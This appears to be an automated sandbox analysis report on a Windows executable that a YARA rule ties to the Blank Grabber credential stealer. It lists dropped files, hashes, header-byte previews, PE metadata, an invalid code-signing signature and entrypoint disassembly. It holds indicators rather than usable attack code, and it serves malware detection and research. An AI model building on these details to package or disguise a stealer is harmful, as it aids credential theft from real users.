Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l.>..\|m..\|m..\|m.u.m..\|m+.}l..\|m.u}l..\|m+..l..\|m+.xl..\|m+.yl..\|m..}l..\|m..}m..\|m..xl..\|m..\|l..\|m...m..\|m..~l..\|mRich..\|m................PE..d......f.........." ...(.....P...... z....................................................`............................................,C......8............ ...M.................................................. ...@...........................................UPX0....................................UPX1................................@....rsrc....P.......L..................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI76122\python313.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1850640
Entropy (8bit):	7.994061638516346
Encrypted:	true
SSDEEP:	49152:l+wZGihuIlkSb9jVzMR3Wbp+JL3o+2H5V8Saryhll3DgsZ:1GbYk8w9YpgLY+2H5eSaryt3DgM
MD5:	6EF5D2F77064DF6F2F47AF7EE4D44F0F
SHA1:	0003946454B107874AA31839D41EDCDA1C77B0AF
SHA-256:	AB7C640F044D2EB7F4F0A4DFE5E719DFD9E5FCD769943233F5CECE436870E367
SHA-512:	1662CC02635D63B8114B41D11EC30A2AF4B0B60209196AAC937C2A608588FEE47C6E93163EA6BF958246C32759AC5C82A712EA3D690E796E2070AC0FF9104266
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........s]{v ]{v ]{v M.w!_{v M.. S{v M.u!Y{v M.r!U{v M.s!P{v T.. G{v ..w!V{v ]{w .zv ..{!.{v ..v!\{v ... \{v ..t!\{v Rich]{v ........................PE..d......g.........." ...).@........J..3e...J..................................0f...........`.........................................H_e......Ye......Pe......0]..............'f.4............................?e.(...@@e.@...........................................UPX0......J.............................UPX1.....@....J..2..................@....rsrc........Pe......6..............@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI76122\rar.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	630736
Entropy (8bit):	6.409476333013752
Encrypted:	false
SSDEEP:	12288:3lPCcFDlj+gV4zOifKlOWVNcjfQww0S5JPgdbBC9qxbYG9Y:3lPCcvj+YYrfSOWVNcj1JS5JPgdbBCZd
MD5:	9C223575AE5B9544BC3D69AC6364F75E
SHA1:	8A1CB5EE02C742E937FEBC57609AC312247BA386
SHA-256:	90341AC8DCC9EC5F9EFE89945A381EB701FE15C3196F594D9D9F0F67B4FC2213
SHA-512:	57663E2C07B56024AAAE07515EE3A56B2F5068EBB2F2DC42BE95D1224376C2458DA21C965AAB6AE54DE780CB874C2FC9DE83D9089ABF4536DE0F50FACA582D09
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@.a.@.a.@.a..v..F.a..v....a..v..M.a..J..B.a.{.b.H.a.{.d.j.a.{.e.U.a.I..K.a.@.`...a..d...a....A.a..c.A.a.Rich@.a.................PE..d....~.^.........."..........2.................@.............................p.......4....`..................................................]..x.......Xy......pD...`...?...`..........T...................x...(.......................@............................text...C........................... ..`.rdata..:p.......r..................@..@.data............2...b..............@....pdata..pD.......F..................@..@.tls................................@....rsrc...Xy.......z..................@..@.reloc.......`.......V..............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI76122\rarreg.key

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	456
Entropy (8bit):	4.447296373872587
Encrypted:	false
SSDEEP:	12:Bn9j9sxpCDPxfhKLiaE5cNH0u/OCIhjWO:B9jiWDpf025cNU7CIEO
MD5:	4531984CAD7DACF24C086830068C4ABE
SHA1:	FA7C8C46677AF01A83CF652EF30BA39B2AAE14C3
SHA-256:	58209C8AB4191E834FFE2ECD003FD7A830D3650F0FD1355A74EB8A47C61D4211
SHA-512:	00056F471945D838EF2CE56D51C32967879FE54FCBF93A237ED85A98E27C5C8D2A39BC815B41C15CAACE2071EDD0239D775A31D1794DC4DBA49E7ECFF1555122
Malicious:	true
Yara Hits:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: C:\Users\user\AppData\Local\Temp\_MEI76122\rarreg.key, Author: Joe Security
Preview:	RAR registration data.Blank-c.Stealer License.UID=e7ae0ee11c8703113d95.64122122503d95ca34668bc2ffb72bcf8579be24bc20f3cd84baaf.afcf62e30badf158ad0c60feb872189f288e79eb40c28ca0ab6407.3a46f47624f80a44a0e4d71ef4224075bf9e28fce340a29099d287.15690be6b591c3bb355e99d6d1b8ffcd69602cb8aaa6dedf268c83.55c1fb90c384a926139625f6c0cbfc57a96996fdb04075bf9e28fc.e340a29067e9237e333577d2c7f3ed1d0f63287f74c9e50c60d76d.b5915ff59f78103d48e0826658d72ba8813da4a649711057613203.

C:\Users\user\AppData\Local\Temp\_MEI76122\select.pyd

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26384
Entropy (8bit):	7.471075877103443
Encrypted:	false
SSDEEP:	384:LZPhXaWPBRc6hmfZa7gJXIj2IJ9G46SHQIYiSy1pCQ4HWSJIVE8E9VF0Ny6sC:XaWlspYj2IJ9G4L5YiSyvy2ES
MD5:	FB70AECE725218D4CBA9BA9BBB779CCC
SHA1:	BB251C1756E5BF228C7B60DAEA1E3B6E3F9F0FF5
SHA-256:	9D440A1B8A6A43CFAA83B9BC5C66A9A341893A285E02D25A36C4781F289C8617
SHA-512:	63E6DB638911966A86F423DA8E539FC4AB7EB7B3FB76C30C16C582CE550F922AD78D1A77FA0605CAFFA524E480969659BF98176F19D5EFFD1FC143B1B13BBAAF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........tV..'V..'V..'_.j'T..'F:.&T..'F:.&R..'F:.&^..'F:.&Z..'.;.&T..'V..'...'...&S..'.;.&W..'.;.&W..'.;.'W..'.;.&W..'RichV..'................PE..d.....g.........." ...).0..........@.....................................................`......................................... ...L....................`..............l.......................................P...@...........................................UPX0....................................UPX1.....0.......(..................@....rsrc................,..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI76122\sqlite3.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	659216
Entropy (8bit):	7.993010988331354
Encrypted:	true
SSDEEP:	12288:ZI2xdk6g1SJU1uQWhSskWXgN/YeZE21RUMza8WznRGO+4:ZbxYw+AXSskaSweZ91uMu80x+4
MD5:	21AEA45D065ECFA10AB8232F15AC78CF
SHA1:	6A754EB690FF3C7648DAE32E323B3B9589A07AF2
SHA-256:	A1A694B201976EA57D4376AE673DAA21DEB91F1BF799303B3A0C58455D5126E7
SHA-512:	D5C9DC37B509A3EAFA1E7E6D78A4C1E12B5925B5340B09BEE06C174D967977264C9EB45F146ABED1B1FC8AA7C48F1E0D70D25786ED46849F5E7CC1C5D07AC536
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......gsX.#.6.#.6.#.6.*j../.6.3.7.!.6.3.5.'.6.3.2.+.6.3.3...6.hj7. .6.#.7...6.k.>.".6.k.6.".6.k..".6.k.4.".6.Rich#.6.........................PE..d.....g.........." ...).....0......`.....................................................`..............................................#..........................................................................p...@...........................................UPX0....................................UPX1................................@....rsrc....0.......0..................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI76122\unicodedata.pyd

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	267024
Entropy (8bit):	7.9826656358602595
Encrypted:	false
SSDEEP:	6144:5FHvhlPKHwqcv9DqegNsKUuFLttFHg+hMrZ99hYN8khE7xj:5tJlyHwqSBqpNsKUuntFJhMF9HC8jj
MD5:	B2712B0DD79A9DAFE60AA80265AA24C3
SHA1:	347E5AD4629AF4884959258E3893FDE92EB3C97E
SHA-256:	B271BD656E045C1D130F171980ED34032AC7A281B8B5B6AC88E57DCE12E7727A
SHA-512:	4DC7BD1C148A470A3B17FA0B936E3F5F68429D83D552F80051B0B88818AA88EFC3FE41A2342713B7F0F2D701A080FB9D8AC4FF9BE5782A6A0E81BD759F030922
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........Q.............(.....(.....(.....(.....)................).....).....)x....)....Rich..................PE..d.....g.........." ...).........0..P....@...................................0............`..........................................+..X....)....... .......................+..$...................................P...@...........................................UPX0.....0..............................UPX1.........@......................@....rsrc........ ......................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2cfzrjs5.a4z.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3w1jhhfd.2tt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bbwhuhv2.zht.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c3pxwomo.kmc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ihyebkbi.1gv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jn1mfovn.txc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kqqna5zc.ouw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lvrvdxgc.bu0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mvsezsic.2az.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_njdpksry.z5s.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_trkem45h.4bw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yubbopbg.ui0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.394157599951799
Encrypted:	false
SSDEEP:	6144:Cl4fiJoH0ncNXiUjt10q0G/gaocYGBoaUMMhA2NX4WABlBuNAAOBSqa:S4vF0MYQUMM6VFYSAU
MD5:	6C679AE2BC67F9C0D2933070D23B6299
SHA1:	AE90070E5D3E3CA4BCE56631928A869FF76DB0DA
SHA-256:	133BD15DA8AD3F679C6D9C3D79C4D44D745383D085C900E4D66346B562C9DD78
SHA-512:	F9CE444448349B6A13CDEF4AE79945F15AEDBD986F090D95E939D32F7E4AAF9FDBEBD3BD5433510F8EF6CB6A30FC6D365617D41D159F5E4C872D8D7510913CD5
Malicious:	false
Preview:	regfG...G....\.Z.................... ....`......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.<..(..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.331807756485642
Encrypted:	false
SSDEEP:	3:lyAZFXZDLsFzAXmZrCZDL4QXAVJK4v:lyqBtoJAXmoZDL4CA1v
MD5:	195D02DA13D597A52F848A9B28D871F6
SHA1:	D048766A802C61655B9689E953103236EACCB1C7
SHA-256:	ADE5C28A2B27B13EFB1145173481C1923CAF78648E49205E7F412A2BEFC7716A
SHA-512:	1B9EDA54315B0F8DB8E43EC6E78996464A90E84DE721611647E8395DBE259C282F06FB6384B08933F8F0B452B42E23EE5A7439974ACC5F53DAD64B08D39F4146
Malicious:	false
Preview:	..Service Version: 0.0.0.0..Engine Version: 0.0.0.0....No engine/signature is currently loaded...

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.993796413048127
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
File size:	8'240'610 bytes
MD5:	3c1b1f453e5f9f0d71f7862d2d6235fe
SHA1:	2092b1b88e17b165ea635b136aceecb05c54e042
SHA256:	984156f2a09823ce55d34fab0738e81d086b4599dbba3b1f6282aa3cce64524a
SHA512:	effef144d925e8aeb8e499331b339a7341709b2e443dd29df0dd36a59d9f9e1321d7e14089f7cd0f3eecf86f225e755d12a23eb74d75cdfda508a67ce7a56431
SSDEEP:	196608:5QHY8OewfI9jUCzi4H1qSiXLGVi7DMgpZ3Q0VMwICEc/jF:7VIHziK1piXLGVE4Ue0VJB
TLSH:	C68633016A8009F6F6F78A3D88929419C4B336A217A0D6FF131CD2790EA35FA5D36777
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......n=..\.Z\.Z\.Za$.[-\.Za$.[.\.Za$.[ \.Z:..Z)\.Z:..[#\.Z:..[;\.Z:..[.\.Za$.[!\.Z\.Z.\.Zb..[3\.Zb..[+\.ZRich*\.Z........PE..d..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x14000cdb0
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x671D2D88 [Sat Oct 26 17:57:28 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	72c4e339b7af8ab1ed2eb3821c98713a

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Sectigo Public Code Signing CA EV R36, O=Sectigo Limited, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	29/09/2021 01:00:00 29/09/2024 00:59:59
Subject Chain	CN=Akeo Consulting, O=Akeo Consulting, S=Donegal, C=IE, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.3=IE, SERIALNUMBER=407950
Version:	3
Thumbprint MD5:	5C82B2D08EFE6EE0794B52D4309C5F37
Thumbprint SHA-1:	3DBC3A2A0E9CE8803B422CFDBC60ACD33164965D
Thumbprint SHA-256:	60E992275CC7503A3EBA5D391DB8AEAAAB001402D49AEA3F7F5DA3706DF97327
Serial:	00BFB15001BBF592D4962A7797EA736FA3

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F088532C1ECh
dec eax
add esp, 28h
jmp 00007F088532BE0Fh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
dec eax
sub esp, 28h
call 00007F088532C5B8h
test eax, eax
je 00007F088532BFB3h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007F088532BF97h
dec eax
cmp ecx, eax
je 00007F088532BFA6h
xor eax, eax
dec eax
cmpxchg dword ptr [0003577Ch], ecx
jne 00007F088532BF80h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007F088532BF89h
int3
int3
int3
dec eax
sub esp, 28h
test ecx, ecx
jne 00007F088532BF99h
mov byte ptr [00035765h], 00000001h
call 00007F088532B6E5h
call 00007F088532C9D0h
test al, al
jne 00007F088532BF96h
xor al, al
jmp 00007F088532BFA6h
call 00007F08853394EFh
test al, al
jne 00007F088532BF9Bh
xor ecx, ecx
call 00007F088532C9E0h
jmp 00007F088532BF7Ch
mov al, 01h
dec eax
add esp, 28h
ret
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
cmp byte ptr [0003572Ch], 00000000h
mov ebx, ecx
jne 00007F088532BFF9h
cmp ecx, 01h
jnbe 00007F088532BFFCh
call 00007F088532C52Eh
test eax, eax
je 00007F088532BFBAh
test ebx, ebx
jne 00007F088532BFB6h
dec eax
lea ecx, dword ptr [00035716h]
call 00007F08853392E2h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3ca5c	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x47000	0x948	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x44000	0x2250	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x7d999a	0x2448
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x48000	0x764	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3a080	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x39f40	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2b000	0x4a0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x29f00	0x2a000	2a7ae207b6295492e9da088072661752	False	0.5514439174107143	data	6.487454925709845	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2b000	0x12a50	0x12c00	c01bb074df560cd8e3d3866c1527a376	False	0.5244791666666667	data	5.752630761733724	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3e000	0x53f8	0xe00	dba0caeecab624a0ccc0d577241601d1	False	0.134765625	data	1.8392217063172436	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x44000	0x2250	0x2400	f5559f14427a02f0a5dbd0dd026cae54	False	0.470703125	data	5.291665041994019	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x47000	0x948	0xa00	24829056555b7eb4ad986ec49f8a9d30	False	0.427734375	data	5.103467399652208	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x48000	0x764	0x800	816c68eeb419ee2c08656c31c06a0fff	False	0.5576171875	data	5.2809528666624175	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x470a0	0x398	OpenPGP Public Key			0.46195652173913043
RT_MANIFEST	0x47438	0x50d	XML 1.0 document, ASCII text			0.4694508894044857

Imports

DLL	Import
